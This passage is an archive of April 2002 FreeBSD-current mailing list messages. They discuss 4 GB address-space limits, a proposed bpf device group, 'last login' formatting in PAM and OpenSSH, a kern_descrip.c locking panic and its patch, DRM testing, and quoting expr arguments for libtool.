(earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 155A6103420; Mon, 22 Apr 2002 09:21:33 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id A6F2B103415; Mon, 22 Apr 2002 09:21:32 -0300 (ADT) Date: Mon, 22 Apr 2002 09:21:32 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC3D494.649C2A8E@mindspring.com> Message-ID: <20020422091602.O1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > On Sun, 21 Apr 2002, Terry Lambert wrote: > > > No, there's no stats collected on this stuff, because it's a pretty > > > obvious and straight-forward thing: you have to have a KVA space large > > > enough that, once you subtract out 4K for each 4M of physical memory and > > > swap (max 4G total for both), you end up with memory left over for the > > > kernel to use, and your limits are such that the you don't run out of > > > PTEs before you run out of mbufs (or whatever you plan on allocating). > > > > God, I'm glad its straightforwards :) > > > > Okay, first off, you say "(max 4G total for both)" ... do you max *total* > > between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? > > You aren't going to be able to exceed 4G, no matter what you do, > because that's the limit of your address space. > > If you want more, then you need to use a 64 bit processor (or use a > processor that supports bank selection, and hack up FreeBSD to do > bank swapping on 2G at a time, just like Linux has been hacked up, > and expect that it won't be very useful). Now I'm confused ... from what I've read so far, going out and buying an IBM eSeries 350 with 16Gig of RAM with Dual-PIII processors and hoping to run FreeBSD on it is not possible? Or, rather, hoping to use more then 4 out of 16Gig of RAM is? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13: 5:55 2002 Delivered-To: freebsd-current@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id BD0DD37B404 for ; Mon, 22 Apr 2002 13:05:43 -0700 (PDT) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.11.3/8.10.1) with ESMTP id g3MIGxO06709; Mon, 22 Apr 2002 11:16:59 -0700 (PDT) Date: Mon, 22 Apr 2002 11:16:58 -0700 (PDT) From: Doug White To: Lyndon Nerenberg Cc: freebsd-current@FreeBSD.org Subject: Re: Adding a 'bpf' group for /dev/bpf* In-Reply-To: <200204202139.g3KLdEJ80591@orthanc.ab.ca> Message-ID: <20020422111600.G5217-100000@resnet.uoregon.edu> X-All-Your-Base: are belong to us MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 20 Apr 2002, Lyndon Nerenberg wrote: > For the benefit of packet sniffers and other things that only want > read-only access to /dev/bpf*, what do people think of adding a 'bpf' > group for those programs? This allows bpf devices to be read by > programs running with an effective gid of 'bpf' instead of the current > requirement for an effective user of root. I've been running this way > on many of our servers for several months now, and things like snort, > tcpdump, etc., are quite happy with it (under stable). There's the other small problem that you have to be root to set promiscuous mode. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13: 6:48 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102]) by hub.freebsd.org (Postfix) with ESMTP id F192337B416 for ; Mon, 22 Apr 2002 13:06:36 -0700 (PDT) Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26]) by mail-blue.research.att.com (Postfix) with ESMTP id 72FB34CE1B; Mon, 22 Apr 2002 04:22:35 -0400 (EDT) Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46]) by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id EAA12772; Mon, 22 Apr 2002 04:22:08 -0400 (EDT) From: Bill Fenner Received: (from fenner@localhost) by windsor.research.att.com (8.8.8+Sun/8.8.5) id BAA11918; Mon, 22 Apr 2002 01:22:08 -0700 (PDT) Message-Id: <200204220822.BAA11918@windsor.research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: des@ofug.org Subject: Re: PAM & OpenSSH: two incorrect "last login" Cc: current@FreeBSD.ORG References: <20020420011633.GA66468@nagual.pp.ru> <200204212015.NAA06317@windsor.research.att.com> Date: Mon, 22 Apr 2002 01:22:08 -0700 Versions: dmail (solaris) 2.4/makemail 2.9b Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Might, might not. ISTR strftime() can't correctly emulate ctime(), >but some other format might be preferrable. Do you have a format >string handy? I'd think something like what "last" does would be good. d_first = (*nl_langinfo(D_MD_ORDER) == 'd'); ... (void) strftime(ct, sizeof(ct), d_first ? (yflag ? "%a %e %b %Y %R" : "%a %e %b %R") : (yflag ? "%a %b %e %Y %R" : "%a %b %e %R"), tm); except you probably want "%T" instead of "%R" if you want the seconds. You could either pretend that yflag was not set (what ache was suggesting) or set yflag if the year of the last login was not this year (possibly more useful). Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13: 8: 2 2002 Delivered-To: freebsd-current@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [217.156.25.2]) by hub.freebsd.org (Postfix) with ESMTP id A8AEE37B400; Mon, 22 Apr 2002 13:07:51 -0700 (PDT) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id WAA11478; Mon, 22 Apr 2002 22:43:47 +0300 (EEST) (envelope-from ady@freebsd.ady.ro) X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: ady.warpnet.ro Date: Mon, 22 Apr 2002 22:43:43 +0300 (EEST) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: Bruce Evans Cc: "Jacques A. Vidrine" , alfred@FreeBSD.ORG, phk@FreeBSD.ORG, Maxim Konovalov , freebsd-current@FreeBSD.ORG Subject: Re: panic:bremfree with today's current and linux-netscape In-Reply-To: <20020422231049.V8742-100000@gamplex.bde.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, On Mon, 22 Apr 2002, Bruce Evans wrote: > Yes; I forgot to write the clause about it only being equivalent to a > panic if certain options (mainly INVARIANTS) are configured. > > > do see that falloc does lock the file descriptor table too, though --- > > I wonder how it ever worked. > > INVARIANTS causes a check of an assertion that non-recursive locks > like fd_mtx aren't actually misused recursively. The check causes more > panics than the misuse since the misuse is rarely fatal. I may be > missing something since I rarely use INVARIANTS and haven't checked > that it causes the panic deterministically. I think you're talking about the WITNESS option rather than INVARIANTS, that's the one who's at least documented in GENERIC as being responsible for mutex and deadlock checks. And this is somewhat confirmed by the face that an alternative kernel that I built doesn't panic and the difference between them two is that WITNESS is disabled in the non-panicking one. Happy debuggin' Ady (@freebsd.ady.ro) _______________________________________________________________________ | Programming in BASIC causes brain damage. | | (Edsger Wybe Dijkstra) | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13:18:34 2002 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.cc (gw.nectar.cc [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 9098637B416; Mon, 22 Apr 2002 13:18:26 -0700 (PDT) Received: from madman.nectar.cc (madman.nectar.cc [10.0.1.111]) by gw.nectar.cc (Postfix) with ESMTP id A426D36; Mon, 22 Apr 2002 07:02:55 -0500 (CDT) Received: from madman.nectar.cc (localhost [IPv6:::1]) by madman.nectar.cc (8.12.2/8.11.6) with ESMTP id g3MC2tVw068492; Mon, 22 Apr 2002 07:02:55 -0500 (CDT) (envelope-from nectar@madman.nectar.cc) Received: (from nectar@localhost) by madman.nectar.cc (8.12.2/8.12.2/Submit) id g3MC2mh4068491; Mon, 22 Apr 2002 07:02:48 -0500 (CDT) Date: Mon, 22 Apr 2002 07:02:48 -0500 From: "Jacques A. Vidrine" To: Bruce Evans Cc: alfred@FreeBSD.org, phk@FreeBSD.org, Maxim Konovalov , freebsd-current@FreeBSD.org, Adrian Penisoara Subject: Re: panic:bremfree with today's current and linux-netscape Message-ID: <20020422120247.GD68403@madman.nectar.cc> Mail-Followup-To: "Jacques A. Vidrine" , Bruce Evans , alfred@FreeBSD.org, phk@FreeBSD.org, Maxim Konovalov , freebsd-current@FreeBSD.ORG, Adrian Penisoara References: <20020421210807.T76833-100000@news1.macomnet.ru> <20020422181848.G8032-100000@gamplex.bde.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020422181848.G8032-100000@gamplex.bde.org> User-Agent: Mutt/1.3.28i X-Url: http://www.nectar.cc/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 06:25:17PM +1000, Bruce Evans wrote: > On Sun, 21 Apr 2002, Maxim Konovalov wrote: > > > As Adrian Penisoara already reported > > > > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=19645+0+current/freebsd-current > > > > there is panic in -current. I believe it is related to the next > > commit: > > > > nectar 2002/04/18 17:45:29 PDT > > > > Modified files: > > sys/kern kern_descrip.c kern_exec.c > > sys/sys filedesc.h > > Log: > > When exec'ing a set[ug]id program, make sure that the stdio file descriptors > > (0, 1, 2) are allocated by opening /dev/null for any which are not already > > open. > > > > Reviewed by: alfred, phk > > MFC after: 2 days > > > > Here is my workaround but I am not sure is it correct or not. Seems > > falloc() takes care about locking itself. > > > > Index: src/sys/kern/kern_descrip.c > > =================================================================== > > RCS file: /home/ncvs/src/sys/kern/kern_descrip.c,v > > retrieving revision 1.138 > > diff -u -r1.138 kern_descrip.c > > --- src/sys/kern/kern_descrip.c 20 Apr 2002 12:02:52 -0000 1.138 > > +++ src/sys/kern/kern_descrip.c 21 Apr 2002 17:04:58 -0000 > > @@ -1528,9 +1528,7 @@ > > if (fdp->fd_ofiles[i] != NULL) > > continue; > > if (devnull < 0) { > > - FILEDESC_LOCK(fdp); > > error = falloc(td, &fp, &fd); > > - FILEDESC_UNLOCK(fdp); > > if (error != 0) > > break; > > NDINIT(&nd, LOOKUP, FOLLOW, UIO_SYSSPACE, "/dev/null", > > > > %%% > > I use the same patch. Locking here is essentially equivalent to calling > panic() here (except it gives a more confusing panic message :-). :-) That's a bit of an overstatement; my testing didn't catch it. I do see that falloc does lock the file descriptor table too, though --- I wonder how it ever worked. Bouncing to the previous reviewers to make sure that this is the correct fix. Comments alfred, phk? Oh, especially Alfred --- it seems you committed the delta that added locking to the file descriptor table. Meanwhile I'll see if I can reproduce. I wonder if interaction with the linuxlator is required to tickle the bug. > I think opening file descriptors on exec is wrong anyway. POSIX has > close-on-exec but not open-on-exec. Cheers, -- Jacques A. Vidrine http://www.nectar.cc/ NTT/Verio SME . FreeBSD UNIX . Heimdal Kerberos jvidrine@verio.net . nectar@FreeBSD.org . nectar@kth.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13:19:44 2002 Delivered-To: freebsd-current@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id 179D837B417; Mon, 22 Apr 2002 13:19:34 -0700 (PDT) Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g3MDALw29705; Mon, 22 Apr 2002 06:10:21 -0700 (PDT) Received: from pool0081.cvx40-bradley.dialup.earthlink.net ([216.244.42.81] helo=mindspring.com) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zdVM-0007X6-00; Mon, 22 Apr 2002 06:05:16 -0700 Message-ID: <3CC40A62.B40E816F@mindspring.com> Date: Mon, 22 Apr 2002 06:04:34 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422091602.O1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > You aren't going to be able to exceed 4G, no matter what you do, > > because that's the limit of your address space. > > > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). > > Now I'm confused ... from what I've read so far, going out and buying an > IBM eSeries 350 with 16Gig of RAM with Dual-PIII processors and hoping to > run FreeBSD on it is not possible? Or, rather, hoping to use more then > 4 out of 16Gig of RAM is? FreeBSD doesn't currently support bank selection. Peter was working on it, last time I heard. Linux supports it, at an incredible performance penalty. But yes, it means only 4G of the RAM will be usable by you. Bank selection works by leaving the address space at 4G, and switching between banks, 2G at a time out of the 16G. Basically, your kernel code lives in the first 2G, and then you get to pick which 2G out of the 16G is the last 2G. As I said, I expect that doing this won't be very useful; since Itanium's are available, and FreeBSD runs native in multiuser mode on IA64 now, there's really no reason to do the 16G, 2G at a time bank selection trick. The main reason I don't think it'll be useful is "DMA": for the DMA to occur, it will have to occur into the first 2G, so that it's never selected out. This is because, no matter what you do, your address space is limited to 4G total: adding banks just controls what physical memory is placed in that 4G window at any given time. Since the most useful thing you could do with more memory is buffers for networking and disk I/O for things like web and file servers... not very useful. Consider that if I had two processes, and divided the memory into 8 2G banks. The 0th bank has the kernel in it, and can never be selected out, if you expect the kernel to run or DMA to be possible. The 1th bank contains the memory for one process, running on CPU 0. The 4th bank contains the memory for one process, running on CPU 1. Basically, now, you can not run these processes simultaneously, because they have conflicting bank selects. You could jam everything into all the code -- you'd have to hack the paged memory management, the VM, the scheduler, etc., to get it to work -- but, even so, after all that work, what you have effectively bought yourself is an "L3 cache" that's in RAM, rather than in a swap partition. You are better off just making it usable as swap, semi-directly, and then making all the paging structures not used for the kernel itself, swappable. Even so, your KVA is restricted by whatever your bank size is, and you can't use it directly (e.g. KVA + UVA + bank_region <= 4G). You really, really ought to look at the books I recommended, if you are confused about why you can only use 4G with a 32 bit processor and FreeBSD, without additional heroic work. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13:25:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id A77B037B49E for ; Mon, 22 Apr 2002 13:23:54 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 689A6534C; Mon, 22 Apr 2002 14:25:46 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: Eric Anholt Cc: current@freebsd.org, freebsd-xfree86@lists.csociety.org Subject: Re: DRM in the sys/ tree: looking for testers References: <1019092948.734.19.camel@anholt.dyndns.org> From: Dag-Erling Smorgrav Date: 22 Apr 2002 14:25:46 +0200 In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dag-Erling Smorgrav writes: > Eric Anholt writes: > > Could people test this in-kernel DRM and tell me how it works for them? > Seems to work fine here (trusty ol' Matrox G200 w/8 MB). Is there a > particular DRI application I can use to somehow stress-test or > benchmark the module? I've gotten kind of tired of Aleph One :) OK, slight update here: anything that involves uploading textures fails, and leaves DRI unusable until I restart the server. For instance, I can run the "gears" demo just fine, but if I run the "fire" demo, I get lots of error messages about uploading textures, and can't run the "gears" demo any more until I restart X. DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13:34: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 7238237B41A for ; Mon, 22 Apr 2002 13:33:56 -0700 (PDT) Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1]) by nagual.pp.ru (8.12.2/8.12.2) with ESMTP id g3MKW4iJ030994; Tue, 23 Apr 2002 00:32:07 +0400 (MSD) (envelope-from ache@pobrecita.freebsd.ru) Received: (from ache@localhost) by pobrecita.freebsd.ru (8.12.3/8.12.2/Submit) id g3MKW3Rr030993; Tue, 23 Apr 2002 00:32:03 +0400 (MSD) Date: Tue, 23 Apr 2002 00:31:59 +0400 From: "Andrey A. Chernov" To: Dag-Erling Smorgrav Cc: Bill Fenner , current@FreeBSD.ORG Subject: Re: PAM & OpenSSH: two incorrect "last login" Message-ID: <20020422203156.GA30906@nagual.pp.ru> References: <20020420011633.GA66468@nagual.pp.ru> <200204212015.NAA06317@windsor.research.att.com> <200204220822.BAA11918@windsor.research.att.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 14:07:50 +0200, Dag-Erling Smorgrav wrote: > Bill Fenner writes: > > You could either pretend that yflag was not set (what ache was > > suggesting) or set yflag if the year of the last login was not > > this year (possibly more useful). > > ...or always print the year. Does anybody have any patches? :) IMHO always printing year in pam_lastlog (like unpatched sshd does) will not harm. L10n here currently is not useful for both plain login and sshd because environment from where LANG may come not yet activated at this moment. The code must be moved after environment activating first, but because it is the very first print, other prints like motd must be moved too. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13:43:20 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 2C36F37B4BE for ; Mon, 22 Apr 2002 13:41:50 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 0A61B66C8C; Mon, 22 Apr 2002 13:09:25 -0700 (PDT) Date: Mon, 22 Apr 2002 13:09:25 -0700 From: Kris Kennaway To: Adrian Penisoara Cc: Kris Kennaway , freebsd-current@FreeBSD.ORG Subject: Re: panic:bremfree with today's current and linux-netscape Message-ID: <20020422130925.A40812@xor.obsecurity.org> References: <20020421153306.A21894@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="+QahgC5+KEYLbs62" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from ady@freebsd.ady.ro on Mon, Apr 22, 2002 at 12:27:50PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --+QahgC5+KEYLbs62 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Apr 22, 2002 at 12:27:50PM +0300, Adrian Penisoara wrote: > > > How-to-repeat: launch linux-netscape while in X11 > >=20 > > Are you absolutely sure all kernel modules are up to date? A > > sure-fire way to cause panics with linux applications is to use an > > out of date linux.ko. >=20 > Isn't linux.ko supposed to be rebuilt every time the kernel is > recompiled ? Yeah, but some people have NO_MODULES set and forget they're actually using them. Anyway, your problem was reported by others so it's probably real :-) Kris --+QahgC5+KEYLbs62 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xG3yWry0BWjoQKURAmf+AJsEQjvnHRV0fGuKop+QYg94WB2CJACfXRhN mMmJ6vA3R4dcwuINj8iqVpc= =5Vjd -----END PGP SIGNATURE----- --+QahgC5+KEYLbs62-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 14: 9: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.cc (gw.nectar.cc [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id B3F7937BA08 for ; Mon, 22 Apr 2002 14:07:29 -0700 (PDT) Received: from madman.nectar.cc (madman.nectar.cc [10.0.1.111]) by gw.nectar.cc (Postfix) with ESMTP id 0A0D543; Mon, 22 Apr 2002 11:09:32 -0500 (CDT) Received: from madman.nectar.cc (localhost [IPv6:::1]) by madman.nectar.cc (8.12.2/8.11.6) with ESMTP id g3MG9VVw070854; Mon, 22 Apr 2002 11:09:31 -0500 (CDT) (envelope-from nectar@madman.nectar.cc) Received: (from nectar@localhost) by madman.nectar.cc (8.12.2/8.12.2/Submit) id g3MG9Q5T070853; Mon, 22 Apr 2002 11:09:26 -0500 (CDT) Date: Mon, 22 Apr 2002 11:09:26 -0500 From: "Jacques A. Vidrine" To: Jun Kuriyama Cc: Current Subject: Re: lock order reversal and panic in kern_descrip.c Message-ID: <20020422160926.GA70820@madman.nectar.cc> Mail-Followup-To: "Jacques A. Vidrine" , Jun Kuriyama , Current References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> User-Agent: Mutt/1.3.28i X-Url: http://www.nectar.cc/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 10:35:49PM +0900, Jun Kuriyama wrote: > A kern_descrip.c is updated by tanimura after your r1.137. Could you > try with r1.138? Just updated to today's -CURRENT. I still cannot reproduce the issue. I'm curious ... could you send the output of pkg_info -L linux-netscape-navigator-4.79 | xargs ls -l ? Also, does `/compat/linux/bin/sh' blow up for you? Cheers, -- Jacques A. Vidrine http://www.nectar.cc/ NTT/Verio SME . FreeBSD UNIX . Heimdal Kerberos jvidrine@verio.net . nectar@FreeBSD.org . nectar@kth.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 14:23:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id E4D6D37BA7E; Mon, 22 Apr 2002 14:21:28 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 45DBB103333; Mon, 22 Apr 2002 10:45:45 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id 96A8E10332E; Mon, 22 Apr 2002 10:45:44 -0300 (ADT) Date: Mon, 22 Apr 2002 10:45:44 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC3D8A0.3981857A@mindspring.com> Message-ID: <20020422104250.E1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG First, alot of this stuff is slowly sinking in ... after repeatedly reading it and waiting for the headache to disapate:) But, one thing that I'm still not clear on ... If I have 4Gig of RAM in a server, does it make any sense to have swap space on that server also? Again, from what I'm reading, I have a total of 4Gig *aggregate* to work with, between RAM and swap, but its right here that I'm confused right now ... basically, the closer to 4Gig of RAM you get, the closer to 0 of swap you can have? On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > > No, there's no stats collected on this stuff, because it's a > > > pretty obvious and straight-forward thing: you have to have a > > > KVA space large enough that, once you subtract out 4K for each > > > 4M of physical memory and swap (max 4G total for both), you > > > end up with memory left over for the kernel to use, and your > > > limits are such that the you don't run out of PTEs before you > > > run out of mbufs (or whatever you plan on allocating). > > > > ... and translated to english, this means? :) > > > > Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for > > a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for > > ... what? > > > > So, I've theoretically got 8184M of VM available for the kernel to use > > right now? what are PTEs and how do I know how many I have right now? as > > for mbufs, I've currently got: > > No. > > Each 4M of physical memory takes 4K of statically allocated KVA. > Each 4M of backing store takes 4K of statically allocated KVA. > > The definition of "backing store" includes: > > o All dirty data pages in swap > o All dirty code pages in swap > o All clean data pages in files mapped into process or kernel > address space > o All clean code pages for executables mapped into process or > kernel address space > o Reserved mappings for copy-on-write pages that haven't yet > been written > > A PTE is a "page table entry". It's the 32 bit value in the page > table for each address space (one for the kernel, one per process). > See the books I posted the titles of for more details, or read the > Intel processor PDF's from their developer web site. > > > > jupiter> netstat -m > > 173/1664/61440 mbufs in use (current/peak/max): > > 77 mbufs allocated to data > > 96 mbufs allocated to packet headers > > 71/932/15360 mbuf clusters in use (current/peak/max) > > 2280 Kbytes allocated to network (4% of mb_map in use) > > 0 requests for memory denied > > 0 requests for memory delayed > > 0 calls to protocol drain routines > > > > So how do I find out where my PTEs are sitting at? > > The mbufs are only important because most people allocate a > large number of mbufs up front for networking applications, or > for alrge numbers of users with network applications that will > need resources in order to be able to actually run. There's > also protocol control blocks and other allocation that occur > up front, based on the maximum number of system open files > and sockets you intend to permit. > > The user space stuff is generally a lot easier to calculate: > do a "ps -gaxl", round each entry in the "VSZ" column up to > 4M, divide by 4K, and that tells you how many 4K units you > have allocated for user space. For kernel space, the answer > is that there are some allocated at boot time, (120M worth), > and then the kernel map is grown, as necessary, until it hits > the KVA space limit. If you plan on using up every byte, then > divide your total KVA space by 4K to get the number of 4K pages > allocated there. > > For the kernel stuff... you basically need to know where the > kernel puts how much memory, based on the tuning parameters > you use on it. > > -- Terry > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 14:27:48 2002 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id DE99237BBC1 for ; Mon, 22 Apr 2002 14:25:39 -0700 (PDT) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.11.4/8.11.6) id g3MLOkJ03799; Mon, 22 Apr 2002 17:24:46 -0400 (EDT) (envelope-from wollman) Date: Mon, 22 Apr 2002 17:24:46 -0400 (EDT) From: Garrett Wollman Message-Id: <200204222124.g3MLOkJ03799@khavrinen.lcs.mit.edu> To: John Hay Cc: freebsd-current@FreeBSD.ORG Subject: Re: new expr(1) behaviour breaks libtool In-Reply-To: <200204211817.g3LIHTQ18310@zibbi.icomtek.csir.co.za> References: <20020421124321.T29857@espresso.q9media.com> <200204211817.g3LIHTQ18310@zibbi.icomtek.csir.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG < said: >> > expr -lgrove : -l\(.*\) >> > expr -- -L/export/ports/textproc/jade/work/jade-1.2.1/lib/.libs : -l\(.*\) >> > If we are going to leave this behaviour, we will have to teach libtool >> > how to call expr(1) differently on -stable and -current and it looks >> > like yet again different from the rest of the world. :-((( No, you just have to teach libtool to properly protect the arguments to expr(1). libtool 1.4 does this for some numeric operations, but not for string parsing. expr(1) goes into some detail about this, but the simple answer is: expr "X$arg" : 'X-l\(.*\)' is what's required. (There is 